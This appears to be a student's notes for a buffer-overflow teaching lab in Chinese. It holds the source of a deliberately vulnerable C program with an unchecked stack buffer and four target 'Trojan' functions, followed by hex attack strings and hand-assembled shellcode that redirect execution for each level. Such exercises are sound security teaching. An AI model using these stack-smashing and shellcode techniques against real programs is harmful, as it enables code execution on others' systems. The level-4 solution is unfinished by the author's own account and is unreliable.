概述
攻击指令：0XDDDBBFFF
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
int getbuf(void);
void test(void);
int cookie=0x11223344;
unsigned long rand1_h,rand1_l,rand_div;
/* 产生一个0~divv-1之间的随机数，同时更新随机数种子 */
void GenerateRandomNumber(unsigned long divv)
{
long long x = rand1_h;
x *= 0x6AC690C5;
x += rand1_l;
rand1_h = (unsigned long)x;
rand1_l = (unsigned long)(x>>32);
if (divv==0) return;
rand_div = rand1_h % divv;
}
/* 输入16进制字符串，并转换为对应的字符串，以\0结束 */
char*getxs(char*dest)
{
int c;
int even =1; /* Have read even number of digits */
int otherd =0; /* Other hex digit of pair */
char*sp = dest;
while ((c = getchar()) != EOF && c !='\n' && c != '\r') {
if (isxdigit(c)) {
int val;
if ('0'<= c && c <='9')
val = c -'0';
else if ('A'<= c && c <='F')
val = c -'A'+10;
else
val = c -'a'+10;
if (even) {
otherd = val;
even =0;
}
else {
*sp++= otherd *16+ val;
even =1;
}
}
}
*sp++='\0';
return dest;
}
/* 获取一行输入字符串 */
int getbuf(void)
{
char buf[12];
getxs(buf);
return 1;
}
/* 主测试程序 */
void test(void)
{
int val;
char *localbuf;
volatile int bird = 0xdeadbeef; //金丝雀保护机制
GenerateRandomNumber(23);
localbuf = (char *)_alloca(rand_div+1); //在栈上分配随机空间
localbuf[0] = 'l';
val = getbuf();
/* 检测是否栈被破坏 */
if (bird != 0xdeadbeef) {
printf("不妙！鸟被杀死，栈已经被你破坏了！\n");
}
else if (val == cookie) {
printf("不错哦，缓冲区溢出成功，而且getbuf返回 0X%08X\n", val);
}
else if (val == 1) {
printf("缓冲区没有溢出.....攻击失败，请重来吧\n");
}
else {
printf("不对哦，虽然缓冲区溢出成功，但是getbuf返回 0X%08X\n", val);
}
}
/* 第1只木马，只需要修改返回地址，即可进入 */
void Trojan1(void)
{
printf("恭喜你！你已经成功偷偷运行了第1只木马!\n");
printf("通过第1只木马测试\n");
exit(0);
}
/* 第2只木马，不仅需要修改返回地址，而且要修改栈中返回的结果 */
void Trojan2(int val)
{
if (val == cookie) {
printf("不错哦！第2只木马运行了，而且通行密码是正确的！(0X%08X)\n", val);
} else
printf("需要加油！虽然第2只木马运行了，但是通行密码是不正确的！(0X%08X)\n", val);
if (val == cookie)
printf("通过第2只木马测试\n");
exit(0);
}
/* 第3只木马，本关任务是构造特定的机器代码放置在栈内，然后将返回地址置为该段特定代码的入口。此段代码负责将global_value设置为想要的cookie值 */
/* 汇编指令程序：
MOV EAX,cookie
MOV global_val,EAX
PUSH Trojan3
RET
0: a1 e4 c1 04 08 MOV EAX,0x804c1e4
5: a3 ec c1 04 08 MOV 0x804c1ec,EAX
a: 68 eb 8c 04 08 PUSH $0x8048ceb
f: c3 RET
*/
int global_value = 0;
void Trojan3(int val)
{
if (global_value == cookie) {
printf("厉害！第3只木马运行了，而且你修改了全局变量正确！global_value = 0X%08X\n", global_value);
} else
printf("差一点！第3只木马运行了，但是全局变量修改错误！global_value = 0X%08X\n", global_value);
if (global_value == cookie)
printf("通过第3只木马测试\n");
exit(0);
}
/* 第4只木马，本关任务是构造特定的机器代码放置在栈内，然后将返回地址置为该段特定代码的入口。此段代码负责将global_value设置为想要的cookie值，需要正常返回 */
/* 汇编指令程序：
MOV EAX,cookie
MOV global_val,EAX
PUSH Trojan3
RET
0: a1 e4 c1 04 08 MOV EAX,0x804c1e4
5: a3 ec c1 04 08 MOV 0x804c1ec,EAX
a: 68 eb 8c 04 08 PUSH $0x8048ceb
f: c3 RET
*/
void Trojan4(int val)
{
if (global_value == cookie) {
printf("厉害！第4只木马运行了，而且你修改了全局变量正确！global_value = 0X%08X\n", global_value);
} else
printf("差一点！第4只木马运行了，但是全局变量不对！global_value = 0X%08X\n", global_value);
if (global_value == cookie)
printf("通过第4只木马测试\n");
return; // 正常返回，需要修复栈
}
/* 主程序，依据学号，随机生成cookie值 */
int main(int argc, char *argv[])
{
int i;
char *MyRandomBuffer;
printf("\t2018超级缓冲区炸弹，欢迎你！\n");
printf("============================\n");
if (argc == 1)
{
printf("使用方法：%s 学号后6位 [学号后6位] [学号后6位] ...\n",argv[0]);
printf("你需要输入攻击字符串，以便种入木马，一旦出错，哇哈哈....\n");
printf("请以十六进制形式输入攻击字符串，例如00 aa bb cc等等\n");
return 0;
}
printf("欢迎你前来挑战！ %s \n",argv[1]);
/*依据学号，初始化一个随机数发生器*/
rand1_h = (unsigned long)atoi(argv[1]);
rand1_l=0x29A;
GenerateRandomNumber(0);
for (i=2;i<argc;i++)
{
rand1_l = (unsigned long)atoi(argv[i]);
GenerateRandomNumber(0);
}
cookie = (int)rand1_h;
printf("你的通行密码是0X%08X\n",cookie);
printf("============================\n");
printf("请输入攻击字符串（十六进制串）：");
GenerateRandomNumber(512);
MyRandomBuffer = (char *)_alloca(rand_div+1); //在栈上分配随机空间
MyRandomBuffer[0] = 'h';
test();
return 0;
}
Trojan1
找到第一关Trojan1的地址起地址：004011E0
构造攻击串 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 11 40 00
溢出到 004011E0
Trojan2
16 + 4 （返回Trojan2地址 00401200） + 8 (调用参数1 DDDBBFFF【主程序，依据学号，随机生成cookie值】)
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 12 40 00 00 00 00 00 DD DB BF FF ×
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 12 40 00 00 00 00 00 FF BF DB DD √
看来后边的cookie也要小端存放
Trojan3
Trojan3地址 00401250
全局变量global_value地址 : 00409004
_getbuf() 00401130
cookie 地址：00409000
MOV EAX,cookie
MOV global_val,EAX
PUSH Trojan3
RET
0: a1 00 90 40 00 MOV EAX,0x00409000
5: a3 04 90 40 00 MOV 0x00409004,EAX
a: 68 50 12 40 00 PUSH $0x00401250
f: c3 RET
修改全局变量的机器语言为，一共16个字节（刚好是buf开了12 + 4 （保存用））：
ebp : 0019FE14
找到buf[0]的位置
0019FE14 - 0xC =
a1 00 90 40 00 a3 04 90 40 00 68 50 12 40 00 c3 00 19 FE 08
让其返回到buf中占满16个字节去执行指令。
Trojan4
volatile int bird = 0xdeadbeef; //金丝雀保护机制
.text:00401192 jz short loc_4011B3
调试中这条语句跳到正确的地方
Trojan4地址 004012A0
call getbuf 0040117C
则00401181为执行getbuf正确之后的地址
在打0040117C断点，查看之前的ebp内容0x0019FE34
MOV EAX,cookie
MOV 0019FE34,EBP
PUSH 00401181
RET
0: b8 00 90 40 00 MOV EAX,0x00409000
5: bd 34 FE 19 00 MOV 0019FE34,EBP
a: 68 81 11 40 00 PUSH $0x00401181
f: c3 RET
b8 00 90 40 00 bd 34 FE 19 00 68 81 11 40 00 c3 A0 12 40 00
还木有想明白这一关。。。